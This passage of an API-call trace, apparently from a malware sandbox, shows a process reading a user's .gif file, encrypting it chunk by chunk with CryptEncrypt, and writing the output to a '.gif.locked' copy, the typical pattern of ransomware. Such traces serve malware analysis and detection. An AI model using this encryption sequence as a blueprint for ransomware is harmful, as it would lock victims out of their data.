Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4c, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.283] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4b, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.283] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4c, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4c, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.283] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\Ax8vf.gif", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\Ax8vf.gif", lpFilePart=0x0) returned 0x50 [0136.283] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0136.283] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\Ax8vf.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\y45q\\ax8vf.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0136.284] GetFileType (hFile=0x764) returned 0x1 [0136.284] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0136.284] GetFileType (hFile=0x764) returned 0x1 [0136.284] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4c, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.284] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe48c\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0136.284] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4d, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.284] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4c, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.284] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4d, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4d, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.285] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\Ax8vf.gif.locked", nBufferLength=0x105, lpBuffer=0x99adb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\Ax8vf.gif.locked", lpFilePart=0x0) returned 0x57 [0136.285] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae064) returned 1 [0136.285] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\Ax8vf.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\y45q\\ax8vf.gif.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0136.285] GetFileType (hFile=0x778) returned 0x1 [0136.285] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae060) returned 1 [0136.285] GetFileType (hFile=0x778) returned 0x1 [0136.285] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4d, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.285] CryptGenRandom (in: hProv=0x8e028b0, dwLen=0x10, pbBuffer=0x6a3d2e4 | out: pbBuffer=0x6a3d2e4) returned 1 [0136.286] CryptContextAddRef (hProv=0x8e028b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0136.286] CryptDuplicateKey (in: hKey=0x8e850f8, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae798 | out: phKey=0x99ae798*=0x8e84df8) returned 1 [0136.286] CryptContextAddRef (hProv=0x8e028b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0136.286] CryptSetKeyParam (hKey=0x8e84df8, dwParam=0x4, pbData=0x6a3e5a0*=0x1, dwFlags=0x0) returned 1 [0136.286] CryptSetKeyParam (hKey=0x8e84df8, dwParam=0x1, pbData=0x6a3e56c, dwFlags=0x0) returned 1 [0136.286] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x18b2\x7477\xf1f0\x437\x24a") returned 0x0 [0136.286] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4e, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.286] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4d, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.286] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4e, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4e, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.286] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4e, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.287] ReadFile (in: hFile=0x764, lpBuffer=0x6a41afc, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6a41afc*, lpNumberOfBytesRead=0x99ae7a8*=0x14000, lpOverlapped=0x0) returned 1 [0136.287] CryptEncrypt (in: hKey=0x8e84df8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a55b08*, pdwDataLen=0x99ae79c*=0x14000, dwBufLen=0x14000 | out: pbData=0x6a55b08*, pdwDataLen=0x99ae79c*=0x14000) returned 1 [0136.287] WriteFile (in: hFile=0x778, lpBuffer=0x6a3d3a4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6a3d3a4*, lpNumberOfBytesWritten=0x99ae780*=0x1000, lpOverlapped=0x0) returned 1 [0136.288] WriteFile (in: hFile=0x778, lpBuffer=0x6a56af4*, nNumberOfBytesToWrite=0x13014, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6a56af4*, lpNumberOfBytesWritten=0x99ae780*=0x13014, lpOverlapped=0x0) returned 1 [0136.289] ReadFile (in: hFile=0x764, lpBuffer=0x6a41afc, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6a41afc*, lpNumberOfBytesRead=0x99ae7a8*=0x2466, lpOverlapped=0x0) returned 1 [0136.289] CryptEncrypt (in: hKey=0x8e84df8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a69b2c*, pdwDataLen=0x99ae79c*=0x2460, dwBufLen=0x2460 | out: pbData=0x6a69b2c*, pdwDataLen=0x99ae79c*=0x2460) returned 1 [0136.290] WriteFile (in: hFile=0x778, lpBuffer=0x6a69b2c*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x99ae780, lpOverlapped=0x0 | out: lpBuffer=0x6a69b2c*, lpNumberOfBytesWritten=0x99ae780*=0x2460, lpOverlapped=0x0) returned 1 [0136.290] ReadFile (in: hFile=0x764, lpBuffer=0x6a41afc, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae7a8, lpOverlapped=0x0 | out: lpBuffer=0x6a41afc*, lpNumberOfBytesRead=0x99ae7a8*=0x0, lpOverlapped=0x0) returned 1 [0136.290] CryptEncrypt (in: hKey=0x8e84df8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6a6bfb0*, pdwDataLen=0x99ae7f0*=0x10, dwBufLen=0x10 | out: pbData=0x6a6bfb0*, pdwDataLen=0x99ae7f0*=0x10) returned 1 [0136.290] CryptEncrypt (in: hKey=0x8e84df8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6a6bfe4*, pdwDataLen=0x99ae7f8*=0x0, dwBufLen=0x10 | out: pbData=0x6a6bfe4*, pdwDataLen=0x99ae7f8*=0x10) returned 1 [0136.290] WriteFile (in: hFile=0x778, lpBuffer=0x6a3d3a4*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae7c8, lpOverlapped=0x0 | out: lpBuffer=0x6a3d3a4*, lpNumberOfBytesWritten=0x99ae7c8*=0x10, lpOverlapped=0x0) returned 1 [0136.290] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\Ax8vf.gif", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\Ax8vf.gif", lpFilePart=0x0) returned 0x50 [0136.290] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0136.291] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4f, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.291] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4e, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.291] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4f, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4f, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.291] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\Ax8vf.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\y45q\\ax8vf.gif")) returned 0x20 [0136.292] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\Ax8vf.gif", nBufferLength=0x105, lpBuffer=0x99adfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\Ax8vf.gif", lpFilePart=0x0) returned 0x50 [0136.292] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0136.292] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0136.292] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0136.292] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0136.292] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0136.292] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0136.292] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0136.292] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0136.292] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0136.293] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0136.294] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0136.294] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0136.294] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0136.294] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures")) returned 0x11 [0136.294] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpFilePart=0x0) returned 0x1e [0136.294] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures", lpFilePart=0x0) returned 0x1e [0136.294] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d")) returned 0x10 [0136.294] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d")) returned 0x10 [0136.294] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d", lpFilePart=0x0) returned 0x31 [0136.294] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d", lpFilePart=0x0) returned 0x31 [0136.294] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh")) returned 0x10 [0136.294] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh")) returned 0x10 [0136.294] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh", lpFilePart=0x0) returned 0x41 [0136.295] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh", lpFilePart=0x0) returned 0x41 [0136.295] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\y45q")) returned 0x10 [0136.295] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\y45q")) returned 0x10 [0136.295] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q", lpFilePart=0x0) returned 0x46 [0136.295] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q", lpFilePart=0x0) returned 0x46 [0136.295] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\Ax8vf.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\y45q\\ax8vf.gif")) returned 0x20 [0136.295] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\Ax8vf.gif", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\Ax8vf.gif", lpFilePart=0x0) returned 0x50 [0136.295] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\Ax8vf.gif", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\Ax8vf.gif", lpFilePart=0x0) returned 0x50 [0136.296] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\Ax8vf.gif", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\Ax8vf.gif", lpFilePart=0x0) returned 0x50 [0136.296] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0136.296] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\Ax8vf.gif", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\Ax8vf.gif", lpFilePart=0x0) returned 0x50 [0136.296] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\Ax8vf.gif\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\Ax8vf.gif\\", lpFilePart=0x0) returned 0x51 [0136.296] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\Ax8vf.gif\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0136.296] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0136.296] CoTaskMemAlloc (cb=0x404) returned 0x8eb8d30 [0136.296] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8d30, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0136.296] CoTaskMemFree (pv=0x8eb8d30) [0136.297] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\Ax8vf.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\y45q\\ax8vf.gif")) returned 0x20 [0136.297] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\Ax8vf.gif", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\Ax8vf.gif", lpFilePart=0x0) returned 0x50 [0136.297] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\Ax8vf.gif", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\Ax8vf.gif", lpFilePart=0x0) returned 0x50 [0136.298] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0136.298] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\y45Q\\Ax8vf.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\y45q\\ax8vf.gif"), fInfoLevelId=0x0, lpFileInformation=0x6a86ec8 | out: lpFileInformation=0x6a86ec8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7109e80, ftCreationTime.dwHighDateTime=0x1d4a88e, ftLastAccessTime.dwLowDateTime=0xa678c330, ftLastAccessTime.dwHighDateTime=0x1d4a9f9, ftLastWriteTime.dwLowDateTime=0xa678c330, 